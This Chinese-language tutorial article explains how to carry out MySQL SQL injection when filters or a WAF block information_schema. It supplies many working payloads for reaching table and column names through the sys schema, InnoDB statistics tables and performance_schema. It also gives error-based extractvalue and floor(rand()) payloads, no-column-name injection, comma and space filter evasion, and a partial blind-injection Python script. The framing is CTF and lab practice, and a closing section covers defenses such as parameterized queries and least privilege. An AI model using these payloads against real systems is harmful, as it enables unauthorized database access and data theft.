ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

绕开information_schema:SQL注入中查询数据库结构的替代路径

绕开information_schema:SQL注入中查询数据库结构的替代路径 做SQL注入测试做得多了你会发现一个规律几乎所有教学文章、所有入门教程第一步都是让你查information_schema。库名、表名、字段名全从这个库里面掏。这条路本身没毛病information_schema在 MySQL 里就是一个元数据仓库存着所有数据库的结构信息方便又高效。但是问题在于这条路太出名了不管是代码层的关键字过滤、还是WAF的规则库都把information_schema列进了重点关照名单。我在实际测试一些靶场和演练环境时不止一次遇到这种情况union select能用、回显也正常但只要一出现information_schema立马被拦截整条注入链直接断掉。这篇文章我把实战中积累的绕过思路完整梳理一遍重点讲清楚哪些替代路径可以用、每条路能拿到什么数据、在什么版本和权限下才有效。顺便把关键字过滤、逗号过滤、空格过滤这些常见干扰项怎么一起处理也拆开讲。适合已经懂 SQL 注入基础、但卡在绕过环节的朋友参考也适合做开发的同学从攻防两侧理解为什么有些过滤形同虚设。1. 为什么要绕开 information_schema场景与判断方法1.1 哪些场景会撞上这堵墙先说最常见的场景。CTF 题和自建靶场里出题人很喜欢做一件事用preg_replace直接把information_schema替换成空字符串。这种过滤看起来粗暴但确实有效因为大部分新手的手工注入语句已经形成了肌肉记忆一上来就是from information_schema.tables一打一个准直接被过滤掉后面全乱套。还有一种场景是WAF层面的拦截。WAF 的规则通常比代码层过滤更复杂它会做大小写归一化、注释归一化、编码归一化所以你写Information_Schema、info/**/rmation_schema这种变体很多时候也没用。WAF 更关注的是特征本身information_schema这个字符串一旦出现在请求体里就会触发告警。第三种场景容易被忽略权限受限。有些数据库账号只有某几个库的查询权限information_schema虽然理论上对任何用户可见但某些精细化的权限配置、或者经过代理层改写之后实际查询会返回空结果。我做测试的时候遇到过select * from information_schema.tables返回空但业务正常的情况一开始以为是注入点判断错了后来才发现是权限把元数据视图给限制了。所以判断自己是不是遇到了 information_schema 这堵墙有个很简单的自查流程先确认注入点可用用union select 1,2,3确认回显位然后尝试union select 1,2,database()看能不能拿到当前库名如果库名能出来但information_schema相关语句全部失败或者返回空基本可以断定是关键字过滤或元数据表访问受限。1.2 先确认数据库类型再选路绕过information_schema之前必须先搞清楚目标是不是 MySQL。因为 PostgreSQL 有pg_catalogSQL Server 有sysobjects和sys.tablesOracle 有all_tables和user_tables不同数据库的替代路径完全不一样。如果拿 MySQL 的替代方案去打 PostgreSQL不仅拿不到数据还可能直接报错把整个注入点暴露。确认数据库类型有几个小技巧看报错信息最直白MySQL 的报错里会带You have an error in your SQL syntax和版本号没有报错的情况下可以用version还是version()来判断MySQL 这两个都能用PostgreSQL 只有version()再或者用database()函数MySQL 特有PostgreSQL 里没有这个函数会直接语法报错。另外要注意 MySQL 的版本差异。5.6、5.7、8.0 三个大版本里替代路径的可用性差别很大尤其是sys库里的视图和mysql.innodb_table_stats这些表5.6 之前根本没有。我后面讲每条路径的时候都会标注版本要求实际操作时先看一眼版本再选路能省很多无用功。判断版本的姿势很多能回显的时候直接union select 1,2,version就行。如果是盲注场景用version()配合substr、ascii逐位去猜也行就是慢一点。2. 三条替代路径从库名到表名再到字段名2.1 sys 库系列最顺手的替代方案sys库是 MySQL 5.7 开始默认自带的一个系统库它本质上是一组视图和存储过程的集合底层查的还是performance_schema和information_schema但展示形式做了优化。关键点是很多安全过滤规则只盯着information_schema这个特征字符串sys库反而不在规则里。我在测试中用的最多的两张表sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer。sys.schema_auto_increment_columns这张表记录的是所有使用了自增主键的表结构字段包括table_schema、table_name、column_name、data_type、auto_increment。拿库名和表名它都能用union select 1,2,group_concat(distinct table_schema) from sys.schema_auto_increment_columns union select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schemadatabase()sys.schema_table_statistics_with_buffer这张表记录的是表的统计信息字段里有table_schema和table_name同样可以用来替代information_schema.tablesunion select 1,2,group_concat(distinct table_schema) from sys.schema_table_statistics_with_buffer union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schemasecurity这两张表有个共同的问题它们不是完整的元数据镜像。schema_auto_increment_columns只包含有自增列的表如果某张表没有自增主键它就不会出现在结果里。schema_table_statistics_with_buffer依赖统计信息的刷新刚建的表或者长期没被访问的表可能不在里面。所以我的习惯是两张表交叉验证如果目标库里表特别多用这两张表至少能拼出大部分表名。sys库里还有其他能用的表比如sys.schema_unused_indexes可以看哪些索引没被用过间接帮你发现表名sys.schema_index_statistics也能带出table_schema和table_name。但这些表的覆盖范围更窄属于备用方案看现场情况决定用不用。2.2 InnoDB 统计表MySQL 5.6 的底牌如果说sys库是明面上的替代方案那mysql.innodb_table_stats和mysql.innodb_index_stats就是暗处的底牌。很多人根本不会去注意 mysql 库里的这些统计表但它们确实存着数据库结构信息。mysql.innodb_table_stats的字段是database_name、table_name、last_update、n_rows、clustered_index_size、sum_of_other_index_sizes。这个表对 InnoDB 引擎的表有效每张表在 ANALYZE 或者自动更新统计信息的时候会被写入。用它查库名和表名的语句union select 1,2,group_concat(distinct database_name) from mysql.innodb_table_stats union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_namedatabase()mysql.innodb_index_stats更细一点字段包括database_name、table_name、index_name、stat_name、stat_value。它不仅能拿表名还能拿索引名比如你想知道某张表上有哪些索引就可以union select 1,2,group_concat(distinct index_name) from mysql.innodb_index_stats where table_nameusers这两张表对权限的要求不算苛刻实测中很多 Web 应用连库用的账号都是本地账号有 mysql 库的 SELECT 权限这种情况下就能直接查到。需要注意一点这两张表只在 InnoDB 引擎下有效如果目标库是 MyISAM 引擎这两张表里找不到对应数据。使用mysql.innodb_table_stats时我还踩过一个小坑它记录的表名是 ANALYZE 时实际存在的数据表但是如果你先删表再建同名表统计信息可能是旧的。CTF 和靶场环境里一般不存在这种脏数据问题但真实渗透测试中遇到表名对不上、或者查出来表名但实际访问报错的情况要想到这一层。2.3 performance_schema 与 mysql 库辅助位performance_schema是 MySQL 5.5 引入的性能监控库里面存的主要是运行时的性能数据。对于注入来说它没有像information_schema.tables那么直接的元数据表但几个辅助入口在过滤严格时也能顶上去。performance_schema.table_io_waits_summary_by_table和performance_schema.table_lock_waits_summary_by_table这两张表记录了每张表的 IO 等待和锁等待统计字段里有OBJECT_SCHEMA和OBJECT_NAME本质上就是库名和表名。只要能查这两张表就能替代information_schema.tables的角色union select 1,2,group_concat(distinct OBJECT_SCHEMA) from performance_schema.table_io_waits_summary_by_table union select 1,2,group_concat(OBJECT_NAME) from performance_schema.table_io_waits_summary_by_table where OBJECT_SCHEMAdatabase()performance_schema的表用起来有个限制表名都很长写起来繁琐而且在一些精简配置的 MySQL 实例上performance_schema 可能被关闭字段也会因为版本差异有所不同5.7 和 8.0 之间的对象命名就存在微调。所以这个库我一般作为第三顺位排在sys库和 InnoDB 统计表后面。mysql 库里还有一张比较冷门的表mysql.general_log和mysql.slow_log它们记录的是通用查询日志和慢查询日志。如果日志开启、而且当前注入产生的 SQL 被写进了表里你可以用这条路径反查其他查询语句甚至能撞见其他工具或后台发出来的 SQL里面可能直接带着表名和字段名。不过这个思路依赖日志开启条件属于可遇不可求的野路子我一般在没有其他路径时才会看一眼。3. 实战技法典型过滤场景下的完整注入链路3.1 场景一information_schema 被关键字拦截假设一个标准的整数型注入点URL 长这样http://target/news.php?id1用union select 1,2,3测试发现 2 和 3 位有回显。然后我尝试常规语句union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()结果页面直接空白或者返回了过滤提示。这时候说明information_schema被盯上了。如果过滤是只做了一次替换的preg_replace那么可以用经典的双写绕过union select 1,2,group_concat(table_name) from infoorinformation_schema.rmation_schema.tables where table_schemadatabase()原理很简单过滤逻辑把information_schema替换成空双写之后字符串本身是infoinformation_schema(被替换掉的部分是后一个) 所以最终拼接出来还是完整的information_schema。这个技巧在 CTF 靶场里很常见但对付 WAF 基本无效因为 WAF 会做二次归一化。WAF 场景下直接换到sys库更靠谱union select 1,2,group_concat(distinct table_schema) from sys.schema_auto_increment_columns union select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schemasecurity有的环境里sys.schema_auto_increment_columns也被列进了规则那就换mysql.innodb_table_stats或者performance_schema的表。原则很简单一个被过滤就换下一个不要在一条路上死磕。拿到表名之后字段名依然面临同样的过滤问题因为常规查字段的路径也是information_schema.columns。对应的替代方案是用sys.schema_auto_increment_columns直接查column_name但它只能查到自增列覆盖不了所有字段。这时候我通常改用无列名注入或者用报错注入逐位提取下一节详细展开。3.2 场景二union select 被过滤怎么办关键字过滤不会只拦information_schema很多靶场把union、select也一并处理了。这种时候有几个思路。思路一如果只是union被过滤可以用union all试试有些过滤规则只匹配精确的union单词union all就绕过去了有的规则把union all也写了那就试大小写变体UnIoN aLL前提是过滤没有做大小写归一化。思路二select被过滤比较麻烦因为它是查询的核心动词。常见尝试包括内联注释sel/**/ect、换行符%0a分割、反引号包裹select等。这些本质上是在赌过滤规则不够严谨。以我的经验如果出题人用了preg_replace(/select/i, , $sql)这种只替换一次的过滤那么selselectect会被处理成select直接双写绕过。思路三union 和 select 都被过滤、实在绕不开的时候放弃 union 注入转报错注入。报错注入不依赖 union只要有数据库报错信息回显就行。最常用的两个函数是extractvalue和updatexmland extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 0,1), 0x7e))注意这是基于报错信息切片来拿数据一次只能查一段而且extractvalue只能报错出 32 个字符左右数据多了就得用substr分段取。完整的取库名流程是先用limit控制行数再用substr控制截断位置写起来稍微繁琐。如果extractvalue和updatexml也被禁用MySQL 还有一个老牌的报错姿势group by配合floor(rand(0)*2)的 primary key 冲突报错。payload 长这样and (select 1 from (select count(*), concat((select table_name from information_schema.tables limit 0,1), floor(rand(0)*2)) x from information_schema.tables group by x) a)这个写法的原理是利用临时表里group by对floor(rand(0)*2)结果进行分组时产生的主键冲突把子查询的结果带进报错信息里。实战中这个 payload 对版本敏感MySQL 5.7 以下基本都是通杀8.0 里有些版本也能用但报错格式变了。3.3 场景三利用报错注入绕开回显限制很多二次开发的系统回显位做了限制union注入明明检测到了字段数但回显位上只能显示数字内容被强制转换了。这种情况下最稳的路径就是把数据带进报错信息里。完整链路我以一个实际靶场题举例。目标是一个登录框用户名参数存在注入点页面没有任何联合查询回显但开了 MySQL 报错输出。第一步确认注入点用户名输入1发现报错第二步确认函数可用输入1 and extractvalue(1, concat(0x7e, database(), 0x7e)) -- -此时页面报错里带出了当前库名。接下来查表名因为information_schema被过滤换成mysql.innodb_table_stats1 and extractvalue(1, concat(0x7e, (select group_concat(table_name) from mysql.innodb_table_stats where database_namedatabase()), 0x7e)) -- -这个语句如果表太多、group_concat结果超过 32 个字符会报Query was empty之类的问题所以要配合limit一行一行看1 and extractvalue(1, concat(0x7e, (select table_name from mysql.innodb_table_stats where database_namedatabase() limit 0,1), 0x7e)) -- -然后继续limit 1,1、limit 2,1这样翻。查到目标表是users之后字段名这块information_schema.columns被过滤的情况下先尝试sys.schema_auto_increment_columns能不能直接给出column_name1 and extractvalue(1, concat(0x7e, (select column_name from sys.schema_auto_increment_columns where table_nameusers limit 0,1), 0x7e)) -- -如果只拿到 id 这种自增列其他字段拿不到就换无列名注入的方式先猜测字段数然后通过union select结构构造临时列名去爆数据。无列名注入的具体姿势在下一节一起讲因为它在绕过information_schema的场景里太常用了值得单独展开。4. 绕过组合拳关键字、逗号、空格等细节优化4.1 无列名注入不查 columns 也能拿字段前面反复提到无列名注入这里把原理讲透。常规拿字段名的路径是information_schema.columns当这条路径被堵死后无列名注入可以直接跳过字段名查询通过构造临时表的方式把目标表的数据推断出来。核心是 MySQL 的一个语法特性union select两边的列数必须一致如果左侧是union select 1,2,3右侧子查询select * from users恰好是三列那么可以用一个子查询把数据提出来union select 1,(select group_concat(b) from (select 1 as b union select * from users)x),3这个 payload 的逻辑分两层。内层先把select 1 as b和select * from users做 union如果 users 表是单列这个 union 成立临时结果集的列名就叫b然后外层用group_concat(b)把临时表 x 里所有 b 列的值拼起来。如果 users 是三列那临时表里会有三个列名分别是1、2、3所以外层要改成union select 1,(select group_concat(2) from (select 1,2,3 union select * from users)x),3注意数字列名必须用反引号包裹否则 MySQL 不认。实际测试中无列名注入最大的问题是字段数不确定你得先爆出表的字段数。判断字段数可以用order by不断递增看报错边界。也可以在无列名注入的 payload 里用select 1,2,3,4,5...逐级去试哪一级 union 成功不报错字段数就是多少。无列名注入的另一个变体是用join构造列名典型姿势union select * from (select 1)a join (select 2)b join (select 3)c这个语句本身不查数据但它建立了一个三列的临时表列名分别是a、b、c。最妙的是它可以绕逗号过滤下面会展开讲。4.2 逗号、空格、等号被过滤时的处理技巧在实际过滤场景里除了information_schemaunion、select之外过滤逗号也是很常见的一招因为它直接废掉了limit 0,1、substr(1,2,3)、union select 1,2,3这些常规写法。union select 1,2,3里的逗号可以用join代替union select * from (select 1)a join (select 2)b join (select 3)c这个写法等价于union select 1,2,3而且不含逗号很多过滤规则直接失效。取值的时候也对应改法假设临时表三列查第二列union select * from (select 1)a join (select 2)b join (select 3)c join (select group_concat(b) from (select 1 as b union select * from users)d)esubstr里的逗号可以用from ... for ...语法替代。MySQL 的substr支持两种写法substr(string, start, length)等价于substr(string from start for length)后面这种写法没有逗号substr(database() from 1 for 1)sleep(3)里的逗号也可以用sleep(3)本身没有逗号问题主要是有时候需要if(condition, sleep(3), 0)这种结构这时候用case when condition then sleep(3) else 0 end替代。空格被过滤是另一大坑。SQL 会把注释符号/**/当作空格处理所以union select 1,2,3可以写成union/**/select/**/1,2,3。另外%0a、%0b、%09、%0d这些 URL 编码后的空白字符在某些场景也可以代替空格但过滤规则各有不同不能一概而论。等号被过滤时where table_schemasecurity可以改成where table_schema like security或者where table_schema in (security)。还能换成regexp但注意like会把_和%当通配符查库名表名时如果目标名字里恰好有下划线就得用regexp转义或者加上binary关键字。4.3 盲注场景的自动化脚本思路手工注入能做的终究有限尤其是替代路径本身就有覆盖不全的问题盲注场景每次只能判断一个字符不用脚本效率太低。我一般用 Python 写一个简单的布尔盲注脚本核心逻辑就是发请求、比对响应差异、逐位提取。脚本的思路大概是先探测注入点和一个恒真条件、一个恒假条件的响应差异作为后续判断基准然后用二分法逐位猜解。关键语句和过滤绕过技巧全部封装在函数里import requests url http://target/news.php true_sign title # 恒真条件下响应中的特征字符串 def get_payload(sql): # 以布尔盲注为例用 ascii 逐位判断 return f1 and ascii(substr(({sql}) from {pos} for 1)){mid} -- -这里sql直接放替代路径的查询语句比如select group_concat(table_name) from mysql.innodb_table_stats where database_namedatabase()。每次请求修改 pos 和 mid 的值快的话 7 次请求确定一个字符整张表的表名都能慢慢抠出来。写脚本的时候有个细节要留意很多靶场的响应不是纯静态的页面里可能带有动态时间戳或者随机广告内容直接用if flag in r.text这种判断不够稳。我通常是取响应长度作为判断基准因为布尔盲注前后两条响应相差的内容很少长度差异非常稳定。如果是时间盲注场景脚本的判断逻辑改成响应耗时对比用time.time()记录请求前后的时间差阈值设成 1.5 秒左右比较稳妥避免网络抖动带来的误判。5. 问题排查与防御反思5.1 实战中常见的坑我在靶场里反复练这套绕过技法时遇到过不少意外情况挑几个典型的说说。第一个是sys库的可见性陷阱。sys.schema_auto_increment_columns底层是视图MySQL 8.0 里对视图的访问有其他限制有时候当前账号明明能查业务表但查 sys 视图返回空。遇到这种情况别急着换路先用show databases确认能不能看到 sys 库再用select * from sys.schema_auto_increment_columns limit 1测一下可用性。第二个是表名有下划线时的like误伤。上文中提到等号过滤时可以用like但like里下划线是通配符table_name like user_s能同时匹配users和user1s之类的东西。如果目标表名刚好是user_admin这种带下划线的用like会匹配出预料之外的多余数据。更稳的做法是用regexp配合转义或者用in语法精确指定。第三个是group_concat的默认长度限制。MySQL 的group_concat_max_len默认值是 1024库或表数量一多拼出来的结果会被截断。遇到数据量大的场景一个简单的处理是逐条limit取另一个是直接在当前会话里执行set group_concat_max_len1024*1024不过前提是注入点支持堆叠注入否则这个设置改不了。第四个是版本 8.0 里的函数差异。extractvalue和updatexml在 MySQL 8.0.19 以上版本还能用但 8.0 的默认报错格式和 5.7 不同截取出来的内容有时候会带多余字符。union select在 8.0 下也要求左右两侧的列数和类型严格匹配如果表里某一列是 BLOB 类型或者 JSON 类型无列名注入可能直接报错。5.2 防御角度如何封堵这些绕过路径从防御视角再回头看这套绕过技法你会发现一个事实只在应用层过滤information_schema是挡不住有决心的人的因为 MySQL 的元数据查询路径太多了。真正有效的防御手段是纵深防御。最基础的一层是输入参数化。所有的 SQL 查询用预处理语句用户输入只作为参数传递永远不拼进 SQL 字符串里。这个是根治手段只要做到了不管攻击者怎么绕information_schema都无济于事因为注入点本身就不存在。如果因为历史原因没办法改代码退而求其次要在 WAF 层拦截就需要注意规则写得足够全。除了information_schema之外sys.schema、mysql.innodb、performance_schema这些特征词也要纳入监控。同时规则要能识别/**/内联注释、大小写变换、双写绕过等变体不能只做简单的字符串匹配。最容易被忽略的一层是数据库账号权限。很多 Web 应用连接数据库用的是 root 或者高权限账号导致攻击者一旦注入成功就能访问 mysql 库和 sys 库直接拿到元数据。最小权限原则在这里极度重要应用账号只给增删改查的权限去掉 mysql 库和 sys 库的 SELECT 权限去掉FILE、SUPER等高危权限。MySQL 8.0 里还可以用partial_revokes把对系统表的权限从全局 SELECT 中收回这一招可以挡住不少尝试。前面说的都是对抗层面的东西我个人在维护自建系统时反而更推荐把重点放在参数化查询上。绕来绕去只是攻防演练里的博弈真正线上环境里让注入点不存在才是最省心的一条路。5.3 实操心得绕过路径的选择优先级最后给一份实战优先级清单是我做了大量靶场测试之后总结出来的选择顺序按这个顺序试能最大程度节省时间。第一步先测information_schema本身能不能用。有时候只是我以为它被过滤了其实只是语法写错了。用最基础的语句验证一下别自己吓自己。第二步如果确实被过滤先试大小写变换、内联注释、双写绕过因为这些都是零成本操作几秒钟就能验证。第三步上sys库的替代路径优先schema_auto_increment_columns这个覆盖面最大字段也全。第四步sys库不行就换mysql.innodb_table_stats但要注意引擎类型和权限。第五步还不通就上performance_schema的统计表以及无列名注入这种不依赖元数据表的技术。第六步如果 union 注入整条路都被堵死果断切报错注入或者盲注不要在同一棵树上吊死。这个优先级清单不是死的实际靶场里经常遇到组合过滤比如information_schema和sys都被替换成空但mysql.innodb_table_stats完全没被防护。说到底绕过information_schema的本质不是背几个 payload而是理解 MySQL 元数据分布的底层逻辑知道哪里有数据可挖然后根据目标环境的过滤水平灵活选择路径。把这个思路掌握住以后碰到再刁钻的过滤规则也能快速找到替代方案。
返回列表